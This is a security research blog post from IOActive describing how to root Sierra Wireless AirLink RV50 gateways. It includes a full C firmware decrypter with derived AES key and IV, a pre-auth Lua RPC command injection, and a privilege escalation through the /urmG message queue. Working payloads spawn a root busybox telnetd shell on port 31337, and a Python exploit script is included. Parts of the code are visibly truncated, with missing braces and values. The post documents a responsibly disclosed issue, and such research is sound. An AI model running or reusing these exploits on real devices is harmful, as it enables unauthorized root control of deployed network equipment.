Thursday, September 17, 2020

No buffers harmed: Rooting Sierra Wireless AirLink devices through logic bugs

by Ruben Santamarta 

There are not many occasions when you can build a chain of exploits and not harm a single buffer, so it is interesting when you find yourself in one of those rare situations. As the title clearly indicates, this blog post will comprehensively describe the entire process that would allow a malicious actor to root Sierra
Wireless AirLink® devices. 

Let’s do this! 

A couple of years ago the guys at Talos did a great job and killed many bugs in AirLink devices. As usual, before buying a device I always analyze the firmware first in order to get an overall impression of what I may face. Sierra Wireless has a nice website where it is possible to download firmware, so I chose my target (the RV50) and proceeded.

Analyzing the Firmware

After unpacking the firmware, we are presented with the following list of files:

The first notable thing is that well-known image formats, such as ‘rootfs.sqfs.uboot’, ‘uImage.recovery’ or ‘zImage’ are detected as ‘data’ so there should be something going on. As expected, a quick look at those files shows that they are definitely encrypted. Hopefully the only ‘clean’ binary that is present in the firmware (‘swinstaller’) will help us to figure out the scheme.

encrypted firmware

As you can see, it seems that, as we initially guessed, the important files are all encrypted. So, the next step is to spend some time digging through a C++ binary to understand the encryption algorithm. Some of the strings clearly pointed to ‘libtomcrypt’ as the encryption library, which definitely will help to reconstruct some of the symbols and logic in order to facilitate this sometimes tedious task.

They are using AES CTR without any apparent hardcoded key or IV, so there should be some logic that generates them at runtime. After reverse engineering the binary, we can break the encryption scheme into two different items: the values needed to derive the IV and the key and process for deriving them. 

1. Values
There are two different values that are required to properly derive the IV and the key for AirLink devices:

1.1 Custom ‘seed
This 8-byte hardcoded value can be found in the ‘swinstaller’ binary, close to the ‘sha256’/’aes’ strings in most cases. 


          Please note that it may vary across devices and versions.
1.2 Custom ‘version

This value can be found in the ‘manifest.txt’ file and corresponds to the ‘ALEOS_VERSION’ value, highlighted in the image below.  

As in the previous case, it will obviously be different across versions.

2.    Deriving the IV/Key

This non-canonical simple pseudo-code can be used to get an overall idea behind the generation. 

a = "\x00"*32
b = version+seed 
copy(a, rounds_sha256(b), 32)
materials = rounds_sha256(a+b) 
iv = materials[0:31]
key = materials[32:63]

The full logic to decrypt AirLink firmware files has been implemented in following file:

// For research purposes only
// Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) 
// @IOActiveLabs
// Dependencies: 
// libtomcrypt
// Compile
// $ gcc decrypter.c -o decrypter -Isrc/headers libtomcrypt.a
// Example
// KEY is the ALEOS_VERSION at manifest.txt (manifest.txt!ALEOS_VERSION=KEY)
// $ ./decrypter -d KEY aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1

Example output for RV50 firmware - ALEOS_VERSION= 

* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * 

- Initializing materials...
Hashing at keyBuff+32 for 18 bytes...
round 1
round 2
round 3
round 4

Copying 32 bytes from the hashed material to keyBuff

Now hashing the entire keyBuff [50 bytes]...
round 1
round 2
round 3
round 4

***=> IV:  "\x11\x5F\x24\x07\x50\x3C\x68\xD2\x28\x26\xBA\x18\x4B\x12\x54\xF1\x2C\x20\x36\x01\x45\x86\x42\x99\x05\x6D\x43\x3C\xC5\x80\xCA\x94"
***=> Key: "\x7D\x69\x78\x59\x55\x35\xF9\xAA\x4F\x8E\xBE\xE4\xE8\xD2\xEE\xFA\x86\x35\xD1\x6A\x58\x81\x53\x78\x6D\xFF\x2E\xB5\xBC\x88\x21\x11"

[+] Decrypting firmware to decrypted.bin...
[+] Done


#include <tomcrypt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int errno;

typedef struct _product_key{
  unsigned char seed[8];
  char *name;
} product_key;

// Extracted from the 'swinstaller' binary (different from product/version)

product_key seed_table[]={  

int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5);
int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV);

int init_keys(char *keyString, int len, int product, unsigned char **key, unsigned char **IV)

  unsigned char *keyBuff;
  unsigned char keyHash[64]={0};
  unsigned char ivHash[64]={0};

  size_t  retLen;
  size_t  keylen,totalen;
  int     result;

  printf("\n- Initializing materials...\n");

  *key = (unsigned char *)calloc(0x40,1);
  *IV = (unsigned char *)calloc(0x40,1);

  keylen = len;

  totalen = keylen + 40;

  keyBuff = (unsigned char*)calloc(totalen, 1);
  retLen = 32;

  // Copy key string "\x00"*32+key
  memcpy(keyBuff + 32, keyString, keylen);
  // Copy remaining materials "\x00"*32+key+seed
  memcpy(keyBuff + 32 + keylen, seed_table[product].seed, 8);

  printf("Hashing at keyBuff+32 for %lu bytes...\n",totalen - 32);
  result = generate_materials(  (keyBuff + 32),
                                totalen - 32,


  printf("Copying 32 bytes from the hashed material to keyBuff\n");
  memcpy(keyBuff,keyHash, 0x20);

  retLen = 32;
  printf("\nNow hashing the entire keyBuff [%lu bytes]...\n",totalen);
  generate_materials(   keyBuff,


  printf("***=> IV:  \"");
  for(int i=0; i<32;i++){

  printf("***=> Key: \"");
  for(int i=0; i<32;i++){
 return 1;


int generate_materials(unsigned char *inBuff, int len, void *dest, size_t *a4, int a5)
  int v5; 
  size_t *v7; 
  int v9; 
  int v10; 
  size_t n; 
  unsigned char *outBuff; 
  int v13; 
  int i; 
  int v15; 

  v9 = len;
  v7 = a4;

  outBuff = (unsigned char*)calloc(0x100,1);
  v13 = find_hash("sha256");
  n = 128;
  v15 = hash_memory(v13, inBuff, v9, outBuff, &n);
  if ( *v7 > n ){
    printf("Error hashing memory\n");
  memcpy(dest, outBuff, n);
  *v7 = n;
  for ( i = 1; i < a5 && !v15; ++i )
    printf("round %d\n",i);
    v15 = hash_memory(v13, dest, *v7, outBuff, &n);
    memcpy(dest, outBuff, n);
    *v7 = n;
  if ( v15 )
    v5 = -1;
    v5 = 0;
  return v5;

int usage(char *name) 
   int x;

   printf("\nUsage: %s -d version cipher('aes') infile outfile chunk_size product(ID)\nSupported products:\n", name);
   for(x=0; seed_table[x].name != NULL; x++) {
      printf("ID: [%d] Description: %s\n",x, seed_table[x].name);
   printf("\n$ ./decrypt -d 4.12.0.p31 aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1\n");

void register_algs(void)
  if (register_cipher (&aes_desc)){
      printf("Error registering AES\n");

  if (register_hash(&sha256_desc) == -1) {
      printf("Error registering SHA256\n");

int main(int argc, char *argv[]) 
   unsigned char *plaintext,*ciphertext;
   unsigned char *inbuf; 
   size_t n, decrypt;
   symmetric_CTR ctr;
   int cipher_idx, hash_idx;
   char *infile, *outfile, *cipher;
   FILE *fdin, *fdout;
   size_t amount;
   unsigned char *cKey;
   unsigned char *cIV;

   if (argc < 7) {
      return usage(argv[0]);


  inbuf = (unsigned char*)calloc(8192,1);
  cipher  = argv[3];
  infile  = argv[4];
  outfile = argv[5];
  amount = atoi(argv[6]);
   if (!strcmp(argv[1], "-d")) {
      plaintext = (unsigned char*)calloc(8192,1);
      decrypt = 1;     
   } else {
      printf("\n[!] decryption only");
   printf("\n* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * \n");

   init_keys( argv[2], strlen(argv[2]), atoi(argv[7]), &cKey, &cIV );
   fdin = fopen(infile,"rb");
   if (fdin == NULL) {
      perror("Can't open input for reading");

   fdout = fopen(outfile,"wb");
   if (fdout == NULL) { 
      perror("Can't open output for writing");
   cipher_idx = find_cipher(cipher);
   if (cipher_idx == -1) {
      printf("Invalid cipher entered on command line.\n");

   if (decrypt) {
      if ((errno = ctr_start(cipher_idx,
                              CTR_COUNTER_LITTLE_ENDIAN,&ctr)) != CRYPT_OK) {
         printf("ctr_start error: %s\n",error_to_string(errno));

      printf("\n[+] Decrypting firmware to %s...",outfile);

      do {

         n = fread(inbuf,1,amount,fdin);
         if ((errno = ctr_decrypt(inbuf,plaintext,n,&ctr)) != CRYPT_OK) {
            printf("ctr_decrypt error: %s\n", error_to_string(errno));

         if (fwrite(plaintext,1,n,fdout) != n) {
            printf("Error writing to file.\n");
      } while (n == amount);

      printf("\n[+] Done\n");

   return 0;

At this point, it is possible to decrypt all of the files, including the filesystem image, so we can start hunting. 

Remote Command Injection - Preauth -

Initial analysis showed that the main web interface looks solid enough after all those killed bugs. I decided to take a look at one of the main features of these AirLink devices: the ALEOS Application Framework (AAF). 

It is worth mentioning that this set of features is not enabled by default, so the administrator needs to enable AAF through the web interface. Once it has been activated, this framework will extend the regular capabilities of these devices, allowing external developers to create their own embedded applications. From the device perspective this has mainly been implemented using LUA, so I decided to take a look at the code (‘/usr/readyagent/lua’ folder). There was something that immediately got my attention: when AAF is enabled, a custom LUA RPC scheduler is exposed at LAN_IP:1999/TCP.

File: ‘/usr/readyagent/lua/rpc/sched.lua

Following the code, we find that this RPC server deserializes arbitrary function names and arguments, which may be attacker controllable.  


File: ‘/usr/readyagent/lua/rpc/sched.lua’ 

The first request (line 55) receives ‘t’,‘seqnum’ and the number of bytes of serialized data to be received from the client. Then, at line 162, our data will be deserialized using ‘luatobin’ format. 

File: ‘/usr/readyagent/lua/rpc/proxy.lua’

 These values will be handled by ‘common.execute,’ which allows any function to be executed.

File: ‘/usr/readyagent/lua/rpc/common.lua’

A malicious actor can leverage this vulnerability to invoke arbitrary LUA functions, such as ‘os.execute’. As a result, an attacker on a network adjacent to an AirLink device (with AAF enabled), will gain the ability to execute arbitrary commands under the privilege of the ‘rauser’ account.

Local Privilege Escalation to Root

At this point I could execute arbitrary commands without requiring any authentication, but ‘rauser’ is still a low-privileged account. The next step was to find a way to escalate privileges to root. 

The main web interface is not running as root, but still we can update the firmware, reboot the device, etc., so there should be some logic that allows these ‘root’ operations to be requested from a different privilege level. By reverse engineering the different binaries involved, I eventually found the IPC mechanism: a message queue called ‘/urmG’ 

File: ‘/lib/

Any process can access this message queue:

-rw-rw-rw-    1 root     0               80 Sep  9 00:34 urmG

Basically, the root process ‘/usr/sbin/UpdateRebootMgr’ reads a message from this queue that contains the action that has to be performed on the requester’s behalf.  Depending on the action, ‘UpdateRebootMgr’ will run the binary in charge of that action, while also passing the command line received from the low-privileged process through the message queue. 

For instance, ‘RequestUpdate’ is a binary that sends messages to the ‘UpdateRebootMgr’ root process through the ‘/urmG’ message queue. When ‘UpdateRebootMgr’ processes a certain message, it will invoke ‘FW_UPLOAD_CMD’ using the command line passed in the ‘-o’ argument.

File: ‘/usr/sbin/atfw_rm_update
RequestUpdate -c aleos -o "--aleos $LOCAL_FW" –w

Pay attention to this sequence:

1. File: ‘/usr/sbin/UpdateRebootMgr

2. File: ‘/usr/sbin/

3. File: ‘/usr/sbin/UpdateRebootMgr

This looks promising. Let’s see what is inside ‘ALEOS:swsystemtools::runSystem.

File: ‘/lib/

ALEOS::swsystemtools::isSafeString’ looks like the kind of function that should prevent this injection from happening; however, it fails because when the first character is a ‘-‘ it is possible to bypass the ‘find_first_of’ check, which would detect some command injection characters.

As a result, it is possible to perform a classic command injection through the ‘/urmG’ message queue to escalate privileges to root. 

We can use the ‘RequestUpdate’ binary as a PoC:

$ RequestUpdate -c aleos -o "--aleos /tmp/whatever | /bin/busybox telnetd -l/bin/sh -p31337"

An exploit would be as follows:

File: ‘’

#!/usr/bin/env python

import socket

TCP_IP = ''
TCP_PORT = 1999
MESSAGE1 = "\x00\x01\x00\x00\x00\x7C"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send("\x04\x00\x0A"+"os.execute"+"\x04\x00\x60"+"/tmp/RequestUpdate -c aleos -o \"--aleos /tmp/pun|/bin/busybox telnetd -l/bin/sh -p31337\""+"\x00"*26)

data = s.recv(BUFFER_SIZE)

print "received data:", repr(data)


This chain of exploits can be used from an adjacent network to get root access without requiring any authentication on any AirLink device that has AAF enabled. This is not the default option, so the attack is mitigated in that sense.

There are some security boundaries these vulnerabilities break in a Sierra Wireless AirLink device:
  1. According to the documentation, the ‘root’ user is proprietary to Sierra Wireless.
  2. The main firmware file is signed and  certain key files in the package are encrypted. This attack allows malicious firmware to be installed on the device, thus gaining persistence.
  3. There is an interesting feature, although it is unlikely to be exploited. AirLink customers can temporarily enable a remote support option. This adds a hardcoded root hash to ‘/etc/shadow’ and seems to be identical across devices. A rooted AirLink device might be used to trick Sierra Wireless support staff into remotely connecting to the device to capture the password.

IOActive notified Sierra Wireless about these vulnerabilities in January 2020, which resulted in the following advisories:

Sierra Wireless thanks IOActive for the responsible disclosure of these vulnerabilities.

In current versions of ALEOS, the RPC server is enabled only when the AAF user password is defined.

Sierra Wireless recommends that customers enable the AAF user only for devices that are being used for AAF development and debugging. The AAF user is not required for AAF applications to be deployed and run.

Deployed devices must not have the AAF user password enabled.

Sierra Wireless recommends upgrading to the latest ALEOS version for your gateway. For devices running ALEOS 4.13 today, Sierra Wireless recommends upgrading to ALEOS 4.14.0 once it is available.

We greatly appreciate the collaborative communication with Sierra Wireless during this process.